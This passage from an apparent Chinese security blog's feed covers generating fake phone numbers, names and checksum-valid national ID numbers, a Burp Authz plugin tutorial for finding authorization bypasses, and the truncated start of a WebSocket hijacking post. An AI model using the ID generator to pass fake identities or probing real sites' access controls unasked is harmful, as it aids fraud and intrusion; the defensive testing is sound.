{\"133\":\"\u7535\u4fe1\",\"149\":\"\u7535\u4fe1\",\"153\":\"\u7535\u4fe1\",\"173\":\"\u7535\u4fe1\",\"177\":\"\u7535\u4fe1\",\"180\":\"\u7535\u4fe1\",\"181\":\"\u7535\u4fe1\",\"189\":\"\u7535\u4fe1\",\"199\":\"\u7535\u4fe1\",\"130\":\"\u8054\u901a\",\"131\":\"\u8054\u901a\",\"132\":\"\u8054\u901a\",\"145\":\"\u8054\u901a\",\"155\":\"\u8054\u901a\",\"156\":\"\u8054\u901a\",\"166\":\"\u8054\u901a\",\"171\":\"\u8054\u901a\",\"175\":\"\u8054\u901a\",\"176\":\"\u8054\u901a\",\"185\":\"\u8054\u901a\",\"186\":\"\u8054\u901a\",\"166\":\"\u8054\u901a\",\"134\":\"\u79fb\u52a8\",\"135\":\"\u79fb\u52a8\",\"136\":\"\u79fb\u52a8\",\"137\":\"\u79fb\u52a8\",\"138\":\"\u79fb\u52a8\",\"139\":\"\u79fb\u52a8\",\"147\":\"\u79fb\u52a8\",\"150\":\"\u79fb\u52a8\",\"151\":\"\u79fb\u52a8\",\"152\":\"\u79fb\u52a8\",\"157\":\"\u79fb\u52a8\",\"158\":\"\u79fb\u52a8\",\"159\":\"\u79fb\u52a8\",\"172\":\"\u79fb\u52a8\",\"178\":\"\u79fb\u52a8\",\"182\":\"\u79fb\u52a8\",\"183\":\"\u79fb\u52a8\",\"184\":\"\u79fb\u52a8\",\"187\":\"\u79fb\u52a8\",\"188\":\"\u79fb\u52a8\",\"198\":\"\u79fb\u52a8\"}\n    three = list(prelist.keys())[random.randint(0,len(prelist)-1)]\n    mobile = three + \"\".join(random.choice(\"0123456789\") for i in range(8))\n    op = prelist[three]\n    return {mobile:op}\n<\/code><\/pre>\n\n<h3 id=\"genname\">genName()<\/h3>\n\n<p>\u968f\u673a\u751f\u6210\u59d3\u540d\uff1a\u4e2d\u6587\u540d\u5b57\u901a\u5e38\u4e3a2\u30013\u4f4d\u6c49\u5b57\u7ec4\u6210<\/p>\n\n<p>1.\u6536\u96c6\u5e38\u7528\u7684\u59d3\u6c0f\u968f\u673a\u53d6\u5176\u4e00\u4e2a\uff1a<\/p>\n\n<pre><code class=\"language-python\">def first_name():\n    first_name_list = ['\u8d75', '\u94b1', '\u5b59', '\u674e', '\u5468', '\u5434', '\u90d1', '\u738b', '\u51af', '\u9648', '\u891a', '\u536b', '\u848b', '\u6c88', '\u97e9', '\u6768', '\u6731', '\u79e6', '\u5c24', '\u8bb8',\n                '\u4f55', '\u5415', '\u65bd', '\u5f20', '\u5b54', '\u66f9', '\u4e25', '\u534e', '\u91d1', '\u9b4f', '\u9676', '\u59dc', '\u621a', '\u8c22', '\u90b9', '\u55bb', '\u67cf', '\u6c34', '\u7aa6', '\u7ae0',\n                '\u4e91', '\u82cf', '\u6f58', '\u845b', '\u595a', '\u8303', '\u5f6d', '\u90ce', '\u9c81', '\u97e6', '\u660c', '\u9a6c', '\u82d7', '\u51e4', '\u82b1', '\u65b9', '\u4fde', '\u4efb', '\u8881', '\u67f3',\n                '\u9146', '\u9c8d', '\u53f2', '\u5510', '\u8d39', '\u5ec9', '\u5c91', '\u859b', '\u96f7', '\u8d3a', '\u502a', '\u6c64', '\u6ed5', '\u6bb7', '\u7f57', '\u6bd5', '\u90dd', '\u90ac', '\u5b89', '\u5e38',\n                '\u4e50', '\u4e8e', '\u65f6', '\u5085', '\u76ae', '\u535e', '\u9f50', '\u5eb7', '\u4f0d', '\u4f59', '\u5143', '\u535c', '\u987e', '\u5b5f', '\u5e73', '\u9ec4', '\u548c', '\u7a46', '\u8427', '\u5c39',\n                '\u59da', '\u90b5', '\u582a', '\u6c6a', '\u7941', '\u6bdb', '\u79b9', '\u72c4', '\u7c73', '\u8d1d', '\u660e', '\u81e7', '\u8ba1', '\u4f0f', '\u6210', '\u6234', '\u8c08', '\u5b8b', '\u8305', '\u5e9e',\n                '\u718a', '\u7eaa', '\u8212', '\u5c48', '\u9879', '\u795d', '\u8463', '\u6881']\n    n = random.randint(0, len(first_name_list) - 1)\n    f_name = first_name_list[n]\n    return f_name\n<\/code><\/pre>\n\n<p>2.\u8fd9\u91cc\u4e00\u5f00\u59cb\u60f3\u641c\u7f57\u5e38\u7528\u7684\u540d\u5b57\uff0c\u4f46\u53c2\u8003\u4e86\u5176\u4ed6\u5e08\u5085\u7684\u4ee3\u7801\u53d1\u73b0\u968f\u673a\u751f\u6210\u4e2d\u6587\u5b57\u7b26\u66f4\u597d\u4e00\u70b9\uff1a<\/p>\n\n<pre><code class=\"language-python\">def GBK2312():\n    head = random.randint(0xb0, 0xf7)\n    body = random.randint(0xa1, 0xf9)\n    val = f'{head:x}{body:x}'\n    st = bytes.fromhex(val).decode('gb2312')\n    return st\n<\/code><\/pre>\n\n<p>3.\u968f\u673a\u751f\u6210\u540d\u5b57\u7684\u7b2c\u4e8c\u4e2a\u5b57\uff1a(\u8fd9\u91cc\u7528\u4e00\u4e2alist\u505a\u4e00\u4e2a\u7a7a\u503c\uff0c\u968f\u673a\u53d6\u751f\u6210\u7684\u6c49\u5b57\u6216\u7a7a\u503c\uff0c<strong>\u7528\u4e8e\u6210\u4e3a\u968f\u673a\u751f\u62102\u4f4d\u540d\u5b57\u62163\u4f4d\u540d\u5b57<\/strong>)<\/p>\n\n<pre><code class=\"language-python\">def second_name():\n    second_name_list = [GBK2312(), '']\n    n = random.randint(0, 1)\n    s_name = second_name_list[n]\n    return s_name\n<\/code><\/pre>\n\n<p>4.\u968f\u673a\u751f\u6210\u540d\u5b57\u7684\u6700\u540e\u4e00\u4e2a\u5b57\uff1a(\u7528\u4e8e\u6ee1\u8db3\u4e09\u4e2a\u6c49\u5b57\u7684\u540d\u5b57)<\/p>\n\n<pre><code class=\"language-python\">def last_name():\n    return GBK2312()\n<\/code><\/pre>\n\n<p>5.\u62fc\u63a5<\/p>\n\n<pre><code class=\"language-python\">def last_name():\n    return GBK2312()\n<\/code><\/pre>\n\n<h3 id=\"genidcard\">genIdCard()<\/h3>\n\n<p>\u968f\u673a\u751f\u6210\u8eab\u4efd\u8bc1\uff1a\u516c\u6c11\u8eab\u4efd\u53f7\u7801\u662f\u753117\u4f4d\u6570\u5b57\u7801\u548c1\u4f4d\u6821\u9a8c\u7801\u7ec4\u6210<\/p>\n\n<p>18\u4f4d\u6570\u5b57\u7ec4\u5408\u7684\u65b9\u5f0f\u662f\uff1a<\/p>\n\n<table>\n  <thead>\n    <tr>\n      <th>1 1 0 1 0\t2<\/th>\n      <th>Y Y\tY Y\tM M D D<\/th>\n      <th>8 8<\/th>\n      <th>8<\/th>\n      <th>X<\/th>\n    <\/tr>\n  <\/thead>\n  <tbody>\n    <tr>\n      <td>\u533a\u57df\u7801(6\u4f4d)<\/td>\n      <td>\u51fa\u751f\u65e5\u671f\u7801(8\u4f4d)<\/td>\n      <td>\u987a\u5e8f\u7801(2\u4f4d)<\/td>\n      <td>\u6027\u522b\u7801(1\u4f4d)<\/td>\n      <td>\u6821\u9a8c\u7801(1\u4f4d)<\/td>\n    <\/tr>\n  <\/tbody>\n<\/table>\n\n<ul>\n  <li>6\u4f4d\u533a\u57df\u7801\u722c\u53d6http:\/\/www.360doc.com\/content\/12\/1010\/21\/156610_240728293.shtml\uff0c\u5b58\u5230\u4e86<code>districtcode.py<\/code><\/li>\n<\/ul>\n\n<blockquote>\n  <p><strong>\u533a\u57df\u7801<\/strong> \u6307\u7684\u662f\u516c\u6c11\u5e38\u4f4f\u6237\u53e3\u6240\u5728\u53bf\uff08\u5e02\u3001\u9547\u3001\u533a\uff09\u7684<a href=\"https:\/\/zh.wikipedia.org\/wiki\/%E4%B8%AD%E5%8D%8E%E4%BA%BA%E6%B0%91%E5%85%B1%E5%92%8C%E5%9B%BD%E8%A1%8C%E6%94%BF%E5%8C%BA%E5%88%92%E4%BB%A3%E7%A0%81\">\u884c\u653f\u533a\u5212\u4ee3\u7801<\/a>\uff0c\u5982110102\u662f\u5317\u4eac\u5e02-\u897f\u57ce\u533a\u3002\u4f46\u6e2f\u6fb3\u53f0\u5730\u533a\u5c45\u6c11\u7684\u8eab\u4efd\u53f7\u7801\u53ea\u7cbe\u786e\u5230\u7701\u7ea7\u3002<\/p>\n<\/blockquote>\n\n<ul>\n  <li>8\u4f4d\u51fa\u751f\u65e5\u671f\u7801\uff0c\u5177\u4f53Python\u4ee3\u7801\u5982\u4e0b\uff1a<\/li>\n<\/ul>\n\n<pre><code class=\"language-python\">age = random.randint(16,60) #\u53ef\u8c03\u6574\u751f\u6210\u7684\u5e74\u9f84\u8303\u56f4\uff08\u8eab\u4efd\u8bc1\uff09\uff0c\u8fd9\u8fb9\u662f16-60\u5c81\ny = date.today().year - age #\u751f\u6210\u7684\u5e74\u4efd\nm = date(y, 1, 1) #\u751f\u6210\u7684\u6708\u4efd\uff0c\u521d\u59cb\u503c\u4e3a1\u67081\u65e5\nd = timedelta(days=random.randint(0, 364)) #\u968f\u673a\u751f\u6210\u7684\u5929\u6570\ndatestring = str(m + d) #\u52a0\u5929\u6570\u5f97\u5230\u6700\u7ec8\u503c\n<\/code><\/pre>\n\n<blockquote>\n  <p><strong>\u51fa\u751f\u65e5\u671f\u7801<\/strong> \u8868\u793a\u516c\u6c11\u51fa\u751f\u7684\u516c\u5386\u5e74\uff084\u4f4d\uff09\u3001\u6708\uff082\u4f4d\uff09\u3001\u65e5\uff082\u4f4d\uff09\u3002<\/p>\n<\/blockquote>\n\n<ul>\n  <li>2\u4f4d\u987a\u5e8f\u7801<\/li>\n<\/ul>\n\n<blockquote>\n  <p><strong>\u987a\u5e8f\u7801<\/strong> \u8868\u793a\u5728\u540c\u4e00\u533a\u57df\u7801\u6240\u6807\u8bc6\u7684\u533a\u57df\u8303\u56f4\u5185\uff0c\u5bf9\u540c\u5e74\u3001\u540c\u6708\u3001\u540c\u65e5\u51fa\u751f\u7684\u4eba\u7f16\u5b9a\u7684\u987a\u5e8f\u53f7\u3002<\/p>\n<\/blockquote>\n\n<ul>\n  <li>1\u4f4d\u6027\u522b\u7801<\/li>\n<\/ul>\n\n<blockquote>\n  <p><strong>\u6027\u522b\u7801<\/strong> \u5947\u6570\u8868\u793a\u7537\u6027\uff0c\u5076\u6570\u8868\u793a\u5973\u6027\u3002<\/p>\n<\/blockquote>\n\n<ul>\n  <li>\u6700\u540e\u4e00\u4f4d\u662f<strong>\u6821\u9a8c\u7801<\/strong>\uff0c\u8fd9\u91cc\u91c7\u7528\u7684\u662f<strong>ISO 7064:1983,MOD 11-2<\/strong>\u6821\u9a8c\u7801\u7cfb\u7edf\u3002\u6821\u9a8c\u7801\u4e3a\u4e00\u4f4d\u6570\uff0c\u4f46\u5982\u679c\u6700\u540e\u91c7\u7528\u6821\u9a8c\u7801\u7cfb\u7edf\u8ba1\u7b97\u7684\u6821\u9a8c\u7801\u662f\u201c10\u201d\uff0c\u788d\u4e8e\u8eab\u4efd\u8bc1\u53f7\u7801\u4e3a18\u4f4d\u7684\u89c4\u5b9a\uff0c\u5219\u4ee5\u201cX\u201d\u4ee3\u66ff\u6821\u9a8c\u7801\u201c10\u201d\u3002<\/li>\n<\/ul>\n\n<p>\u6700\u96be\u7684\u8fd8\u662f\u6821\u9a8c\u7801\u7684\u7b97\u6cd5\uff0c\u53c2\u8003\u5e08\u5085\u7684\u89e3\u8bf4\uff1a<\/p>\n\n<blockquote>\n  <p>1.\u5c06\u524d\u9762\u7684\u8eab\u4efd\u8bc1\u53f7\u780117\u4f4d\u6570\u5206\u522b\u4e58\u4ee5\u4e0d\u540c\u7684\u7cfb\u6570\u3002\u4ece\u7b2c\u4e00\u4f4d\u5230\u7b2c\u5341\u4e03\u4f4d\u7684\u7cfb\u6570\u5206\u522b\u4e3a\uff1a7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4 2<\/p>\n<\/blockquote>\n\n<blockquote>\n  <p>2.\u5c06\u8fd917\u4f4d\u6570\u5b57\u548c\u7cfb\u6570\u76f8\u4e58\u7684\u7ed3\u679c\u76f8\u52a0\u3002<\/p>\n<\/blockquote>\n\n<blockquote>\n  <p>3.\u7528\u52a0\u51fa\u6765\u548c\u9664\u4ee511\uff0c\u5f97\u4f59\u6570<\/p>\n<\/blockquote>\n\n<blockquote>\n  <p>4.\u4f59\u6570\u53ea\u53ef\u80fd\u662f0 1 2 3 4 5 6 7 8 9 10\u8fd911\u4e2a\u6570\u5b57\uff0c\u5176\u5206\u522b\u5bf9\u5e94\u7684\u6700\u540e\u4e00\u4f4d\u8eab\u4efd\u8bc1\u7684\u53f7\u7801\u4e3a1 0 X 9 8 7 6 5 4 3 2\u3002<\/p>\n<\/blockquote>\n\n<blockquote>\n  <p>5.\u901a\u8fc7\u4e0a\u9762\u5f97\u77e5\u5982\u679c\u4f59\u6570\u662f2\uff0c\u5c31\u4f1a\u5728\u8eab\u4efd\u8bc1\u7684\u7b2c18\u4f4d\u6570\u5b57\u4e0a\u51fa\u73b0\u7f57\u9a6c\u6570\u5b57\u7684\u2169\uff0c\u5982\u679c\u4f59\u6570\u662f10\uff0c\u8eab\u4efd\u8bc1\u7684\u6700\u540e\u4e00\u4f4d\u53f7\u7801\u5c31\u662f2\u3002<\/p>\n<\/blockquote>\n\n<p>\u6d4b\u8bd5\u4ee3\u7801\u5982\u4e0b\uff0c\u53d6\u4e86\u51e0\u4e2a\u771f\u5b9e\u7684\u8eab\u4efd\u8bc1\u53f7\u7801\u53d1\u73b0\u53ef\u7528\uff1a<\/p>\n\n<pre><code class=\"language-python\">def test(id_num):\n\tid_code_list = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]\n\tcheck_code_list = [1, 0, 'X', 9, 8, 7, 6, 5, 4, 3, 2]\n\ta = 0\n\tprint(len(id_num))\n\tfor i in range(17):\n\t\ta = a + (int(id_num[i]) * id_code_list[int(i)])\n\tprint(check_code_list[a % 11])\n<\/code><\/pre>\n\n<p>\u6574\u5408\u4e00\u4e0b\uff08Copy\uff09\u5c31\u53d8\u6210\u4e86\u5982\u4e0b\u5b8c\u6574\u7684\u4ee3\u7801\uff1a<\/p>\n\n<pre><code class=\"language-python\">def genIdCard(age,gender):\n    area_code = ('%s' % random.choice(list(area_dict.keys())))\n    id_code_list = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]\n    check_code_list = [1, 0, 'X', 9, 8, 7, 6, 5, 4, 3, 2]\n    if str(area_code) not in area_dict.keys():\n        return None\n    datestring = str(date(date.today().year - age, 1, 1) + timedelta(days=random.randint(0, 364))).replace(\"-\", \"\")\n    rd = random.randint(0, 999)\n    if gender == 0:\n        gender_num = rd if rd % 2 == 0 else rd + 1\n    else:\n        gender_num = rd if rd % 2 == 1 else rd - 1\n    result = str(area_code) + datestring + str(gender_num).zfill(3)\n    b = result + str(check_code_list[sum([a * b for a, b in zip(id_code_list, [int(a) for a in result])]) % 11])\n    return b\n<\/code><\/pre>\n\n<h2 id=\"\u53c2\u8003\">\u53c2\u8003<\/h2>\n\n<p>https:\/\/www.cnblogs.com\/evening\/archive\/2012\/04\/19\/2457440.html<\/p>\n\n<p>https:\/\/www.cnblogs.com\/thunderLL\/p\/7682148.html<\/p>\n\n<p>https:\/\/blog.csdn.net\/ak739105231\/article\/details\/83932151<\/p>\n\n<p>https:\/\/github.com\/jayknoxqu\/id-number-util<\/p>\n\n<p>https:\/\/blog.csdn.net\/tobacco5648\/article\/details\/50613025<\/p>\n\n<p>https:\/\/github.com\/xbeginagain\/generator<\/p>\n","pubDate":"2019-08-16T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2019-08-16\/1","guid":"https:\/\/gh0st.cn\/archives\/2019-08-16\/1"},{"title":"\u57fa\u4e8eBurpSuite\u5feb\u901f\u63a2\u6d4b\u8d8a\u6743-Authz\u63d2\u4ef6","description":"<h1 id=\"burpsuite---authz\">BurpSuite - Authz<\/h1>\n\n<h2 id=\"\u80cc\u666f\">\u80cc\u666f<\/h2>\n\n<p>\u5728\u5e73\u65f6\u7684\u6d4b\u8bd5\u4e2d\uff0c\u4f1a\u7ecf\u5e38\u7684\u78b0\u5230\u4e1a\u52a1\u529f\u80fd\u8f83\u591a\u7684\u7ad9\u70b9\uff0c\u5982\u679c\u60f3\u5168\u9762\u53c8\u5feb\u901f\u7684\u5b8c\u6210\u903b\u8f91\u8d8a\u6743\u6f0f\u6d1e\u7684\u68c0\u6d4b\u4e0d\u5f97\u4e0d\u501f\u52a9Authz\u63d2\u4ef6\u53bb\u8f85\u52a9\u68c0\u6d4b\u8d8a\u6743\u95ee\u9898\u3002<\/p>\n\n<h2 id=\"authz\u7684\u5de5\u4f5c\u539f\u7406\">Authz\u7684\u5de5\u4f5c\u539f\u7406<\/h2>\n\n<p>\u6211\u4eec\u5e73\u65f6\u505a\u6d4b\u8bd5\u7684\u65f6\u5019\u53d1\u73b0\u8d8a\u6743\u95ee\u9898\u90fd\u662f\u57fa\u4e8e\u4fee\u6539ID\u7684\u65b9\u5f0f\uff1a<strong>A\u7684ID\u6539\u6210B\u7684ID\u7136\u540e\u8fdb\u884c\u8bf7\u6c42\u67e5\u770b\u662f\u5426\u53ef\u4ee5\u8d8a\u6743\u83b7\u53d6\u5230\u4fe1\u606f<\/strong>\uff0c<strong>\u6216\u5f53ID\u7684\u89c4\u5f8b\u5df2\u77e5\u60c5\u51b5\u4e0b\u57fa\u4e8eBurp Intruder\u6a21\u5757\u76f4\u63a5\u53bb\u904d\u5386ID<\/strong>\u3002<strong>\u800c\u57fa\u4e8eAuthz\u7684\u68c0\u6d4b\u662f\u4e0d\u4e00\u6837\u7684\uff0c\u5176\u662f\u5c06\u7528\u6237\u8ba4\u8bc1\u7684HTTP\u8bf7\u6c42\u5934\u8fdb\u884c\u4fee\u6539\uff08Cookie\u4e4b\u7c7b\u7684\uff09\uff0c\u7136\u540e\u901a\u8fc7\u54cd\u5e94\u957f\u5ea6\u3001\u54cd\u5e94\u72b6\u6001\u7801\u5224\u65ad\u662f\u5426\u5b58\u5728\u8d8a\u6743<\/strong>\uff1b<strong>\u4ece\u672c\u8d28\u4e0a\u6765\u8bb2\u6ca1\u6709\u4efb\u4f55\u533a\u522b\uff0c\u53ea\u662f\u6362\u4e86\u4e00\u4e2a\u89d2\u5ea6<\/strong>\uff0c\u4f46\u8fd9\u6837\u7684<strong>\u597d\u5904<\/strong>\u662f\u4e00\u5b9a\u7a0b\u5ea6\u4e0a\u7684\u51cf\u5c11\u4e86\u6d4b\u8bd5\u7684\u65f6\u95f4\uff08\u4f8b\u5982\uff1a<strong>\u4e00\u4e2a\u5546\u57ce\u7684\u4e1a\u52a1\u7cfb\u7edf\uff0c\u4f60\u6709A\u3001B\u8d26\u6237\uff0cA\u8d26\u6237\u4e70\u4e86\u4e2a\u5546\u54c1\u83b7\u5f97\u4e00\u4e2a\u8ba2\u5355\u4fe1\u606f\u8bf7\u6c42\uff0c\u5f53\u4f60\u60f3\u6d4b\u8bd5\u662f\u5426\u80fd\u8d8a\u6743\u83b7\u53d6B\u8d26\u6237\u8ba2\u5355\u65f6\u5c31\u9700\u8981\u4f7f\u7528B\u8d26\u6237\u53bb\u518d\u8d2d\u4e70\uff0c\u7136\u540e\u5224\u65ad\u6d4b\u8bd5\u3002<\/strong>\uff09<\/p>\n\n<p><img src=\"\/images\/2019-06-27\/15596409209407.jpg\" alt=\"\" \/><\/p>\n\n<p>BurpSuite Authz\u63d2\u4ef6\u754c\u9762<\/p>\n\n<h2 id=\"\u5b89\u88c5authz\u63d2\u4ef6\">\u5b89\u88c5Authz\u63d2\u4ef6<\/h2>\n\n<p>Github\u5730\u5740\uff1a<a href=\"https:\/\/github.com\/portswigger\/authz\">https:\/\/github.com\/portswigger\/authz<\/a><\/p>\n\n<p><strong>\u5feb\u901f\u5b89\u88c5-&gt;\u5728BurpSuite\u7684BApp Store\u5e94\u7528\u5e02\u573a\u53ef\u4ee5\u76f4\u63a5\u4e0b\u8f7d\u5b89\u88c5\uff1a<\/strong><\/p>\n\n<p><img src=\"\/images\/2019-06-27\/15596409359506.jpg\" alt=\"\" \/><\/p>\n\n<h2 id=\"\u4f7f\u7528authz\u63d2\u4ef6\u68c0\u6d4b\">\u4f7f\u7528Authz\u63d2\u4ef6\u68c0\u6d4b<\/h2>\n\n<p>\u4f7f\u7528\u63d2\u4ef6\u68c0\u6d4b\u7684\u524d\u63d0\u6761\u4ef6\uff1a<strong>\u540c\u4e2a\u4e1a\u52a1\u7cfb\u7edf\u4e2d\u4e24\u4e2a\u6d4b\u8bd5\u8d26\u53f7<\/strong><\/p>\n\n<p>\u4f5c\u7528\uff1aA\u8d26\u6237\u7528\u4e8e\u529f\u80fd\u7684\u64cd\u4f5c\uff0cB\u8d26\u6237\u7528\u4e8e\u63d0\u4f9b\u51ed\u8bc1\uff08Cookie\u6216\u8005\u5176\u4ed6\u7684\u7528\u6237\u8eab\u4efd\u51ed\u8bc1\u8bf7\u6c42\u5934\uff09<\/p>\n\n<p><strong>\u4e3e\u4f8b\u8bf4\u660e\uff1a<\/strong><\/p>\n\n<p>\u4e00\u4e2a\u4e1a\u52a1\u7cfb\u7edf\uff0c\u5c06A\u3001B\u8d26\u6237\u767b\u5165\uff0c\u540c\u65f6\u83b7\u53d6B\u8d26\u6237\u7684Cookie\u6216\u8005\u5176\u4ed6\u7684\u7528\u6237\u8eab\u4efd\u51ed\u8bc1\u8bf7\u6c42\u5934\uff0c\u586b\u5165\u5230Authz\u7684New Header\u91cc\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-06-27\/15596409465945.jpg\" alt=\"\" \/><\/p>\n\n<p>A\u8d26\u6237\u53bb\u8bf7\u6c42\uff08Burp\u522b\u5fd8\u4e86\u76d1\u542c\u7740\uff09\uff0c\u5bfb\u627e\u8bfb\u53d6\u7c7b\u8bf7\u6c42\uff08\u8be5\u7c7b\u8bf7\u6c42\u8981\u5305\u542bID\u4e4b\u7c7b\u7684\u7279\u5f81\uff09\u7136\u540e\u53f3\u952e\u8bf7\u6c42\u5305\u5c06\u8be5\u8bf7\u6c42\u53d1\u9001\u5230Authz\u63d2\u4ef6\u5185\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-06-27\/15596409564945.jpg\" alt=\"\" \/><\/p>\n\n<p>\u53d1\u9001\u7684\u8bf7\u6c42\u4f1a\u5728Burp\u7684Authz\u7684Tab\u6807\u7b7e\u7a97\u53e3\u5185\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-06-27\/15596409674592.jpg\" alt=\"\" \/><\/p>\n\n<p>\u5f53\u6536\u96c6\u7684\u5dee\u4e0d\u591a\u4e86\uff0c\u70b9\u51fbrun\u8dd1\u8d77\u6765\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-06-27\/15596409749591.jpg\" alt=\"\" \/><\/p>\n\n<p>\u7ed3\u679c\u4f1a\u5728Responses\u5904\u663e\u793a\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-06-27\/15596409846702.jpg\" alt=\"\" \/><\/p>\n\n<p>\u5f53\u539f\u54cd\u5e94\u5185\u5bb9\u957f\u5ea6\u3001\u54cd\u5e94\u72b6\u6001\u7801\u548c\u88ab\u4fee\u6539\u540e\u8bf7\u6c42\u7684\u54cd\u5e94\u5185\u5bb9\u957f\u5ea6\u3001\u54cd\u5e94\u72b6\u6001\u7801\u4e00\u81f4\u5219\u4f1a\u7eff\u3002<\/p>\n\n<p>\u4e5f\u5c31\u4ee3\u8868\u7740\u5b58\u5728\u8d8a\u6743\uff0c\u5355\u51fb\u9009\u62e9\u4e00\u884c\u5373\u53ef\u5728\u4e0b\u9762\u5c55\u793a\u51fa\u8bf7\u6c42\u3001\u54cd\u5e94\u7684\u62a5\u6587\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-06-27\/15596409926174.jpg\" alt=\"\" \/><\/p>\n\n<p>\u8fd9\u91cc\u7ecf\u8fc7\u8fdb\u4e00\u6b65\u68c0\u9a8c\uff08<strong>\u7406\u8bba\u4e0a\u4e0d\u9700\u8981\u68c0\u9a8c\uff0c\u4f46\u51fa\u4e8e\u5bf9\u6d4b\u8bd5\u7684\u4e25\u8c28\u6001\u5ea6\u8fd8\u662f\u68c0\u9a8c\u4e00\u4e0b\u6bd4\u8f83\u597d\uff5e<\/strong>\uff09\u987a\u5229\u7684\u53d1\u73b0\u4e86\u4e09\u679a\u8d8a\u6743\u8bbf\u95ee\u6f0f\u6d1e\u3002<\/p>\n\n<p>\u4e00\u4e2a\u4e1a\u52a1\u7cfb\u7edf\u6d4b\u5b8c\u4e4b\u540e\u5c31Clear\u6389\u6240\u6709\u7684\u4e1c\u897f\uff0c\u63a5\u7740\u4e0b\u4e00\u4e2a\u4e1a\u52a1\u7cfb\u7edf\u54af\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-06-27\/15596410022495.jpg\" alt=\"\" \/><\/p>\n\n<h2 id=\"authz\u7684\u4f18\u70b9\u548c\u7f3a\u70b9\u603b\u7ed3\">Authz\u7684\u4f18\u70b9\u548c\u7f3a\u70b9\u603b\u7ed3<\/h2>\n\n<p>\u4f18\u70b9\uff1a\u4f7f\u7528\u7b80\u5355\u3001\u7701\u65f6\u7701\u529b<\/p>\n\n<p>\u7f3a\u70b9\uff1a\u53ea\u662f\u9002\u7528\u4e8e\u68c0\u6d4b\u8d8a\u6743\u8bfb\u53d6\u7c7b\u64cd\u4f5c\uff0c\u5220\u9664\u7f16\u8f91\u7c7b\u64cd\u4f5c\u8fd8\u9700\u4eba\u5de5\u5224\u65ad\u3002<\/p>\n","pubDate":"2019-06-27T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2019-06-27\/1","guid":"https:\/\/gh0st.cn\/archives\/2019-06-27\/1"},{"title":"\u6d45\u8c08WebSocket\u8de8\u57df\u52ab\u6301\u6f0f\u6d1e(CSWSH)","description":"<h1 id=\"websocket-\u8de8\u57df\u52ab\u6301\u6f0f\u6d1e\">WebSocket \u8de8\u57df\u52ab\u6301\u6f0f\u6d1e<\/h1>\n\n<p>WebSocket \u8de8\u57df\u52ab\u6301\u6f0f\u6d1e\uff0c\u82f1\u6587\u540d\uff1a<strong>Cross-site WebSocket Hijacking<\/strong>\uff0c\u6f0f\u6d1e\u7c7b\u578b\uff1a\u5168\u80fd\u578bCSRF\uff08\u53ef\u8bfb\u3001\u53ef\u5199\uff09\u3002<\/p>\n\n<h2 id=\"\u4e86\u89e3websocket\">\u4e86\u89e3WebSocket<\/h2>\n\n<h3 id=\"websocket-\u4f18\u70b9\">Websocket \u4f18\u70b9<\/h3>\n\n<ol>\n  <li>\u652f\u6301\u53cc\u5411\u901a\u4fe1\uff0c\u5b9e\u65f6\u6027\u66f4\u5f3a\u3002<\/li>\n  <li>\u66f4\u597d\u7684\u4e8c\u8fdb\u5236\u652f\u6301\u3002<\/li>\n  <li>\u8f83\u5c11\u7684\u63a7\u5236\u5f00\u9500\u3002\u8fde\u63a5\u521b\u5efa\u540e\uff0cws\u5ba2\u6237\u7aef\u3001\u670d\u52a1\u7aef\u8fdb\u884c\u6570\u636e\u4ea4\u6362\u65f6\uff0c\u534f\u8bae\u63a7\u5236\u7684\u6570\u636e\u5305\u5934\u90e8\u8f83\u5c0f\u3002\u5728\u4e0d\u5305\u542b\u5934\u90e8\u7684\u60c5\u51b5\u4e0b\uff0c\u670d\u52a1\u7aef\u5230\u5ba2\u6237\u7aef\u7684\u5305\u5934\u53ea\u67092~10\u5b57\u8282\uff08\u53d6\u51b3\u4e8e\u6570\u636e\u5305\u957f\u5ea6\uff09\uff0c\u5ba2\u6237\u7aef\u5230\u670d\u52a1\u7aef\u7684\u8bdd\uff0c\u9700\u8981\u52a0\u4e0a\u989d\u59164\u5b57\u8282\u7684\u63a9\u7801\u3002\u800cHTTP\u534f\u8bae\u6bcf\u6b21\u901a\u4fe1\u90fd\u9700\u8981\u643a\u5e26\u5b8c\u6574\u7684\u5934\u90e8\u3002<\/li>\n  <li>\u652f\u6301\u6269\u5c55\u3002ws\u534f\u8bae\u5b9a\u4e49\u4e86\u6269\u5c55\uff0c\u7528\u6237\u53ef\u4ee5\u6269\u5c55\u534f\u8bae\uff0c\u6216\u8005\u5b9e\u73b0\u81ea\u5b9a\u4e49\u7684\u5b50\u534f\u8bae\u3002\uff08\u6bd4\u5982\u652f\u6301\u81ea\u5b9a\u4e49\u538b\u7f29\u7b97\u6cd5\u7b49\uff09<\/li>\n<\/ol>\n\n<h3 id=\"websocket-\u5982\u4f55\u5efa\u7acb\u8fde\u63a5\">Websocket \u5982\u4f55\u5efa\u7acb\u8fde\u63a5<\/h3>\n\n<p>\u753b\u4e86\u4e00\u5f20\u56fe\u8ba9\u4f60\u4e86\u89e3\uff1a<\/p>\n\n<p><img src=\"\/images\/CSWSH\/0.png\" alt=\"websocket\" \/><\/p>\n\n<h2 id=\"\u6f0f\u6d1e\u4ea7\u751f\">\u6f0f\u6d1e\u4ea7\u751f<\/h2>\n\n<p>\u5efa\u7acbWebsocket\u8fde\u63a5\u65e0\u9a8c\u8bc1\u3002<\/p>\n\n<h3 id=\"\u6848\u4f8b\">\u6848\u4f8b<\/h3>\n\n<p>1.\u5982\u4e0b\u8bf7\u6c42\uff1a<\/p>\n\n<pre><code class=\"language-http\">GET \/ HTTP\/1.1\nHost: localhost:8080\nOrigin: http:\/\/127.0.0.1:3000\nConnection: Upgrade\nUpgrade: websocket\nSec-WebSocket-Version: 13\nSec-WebSocket-Key: 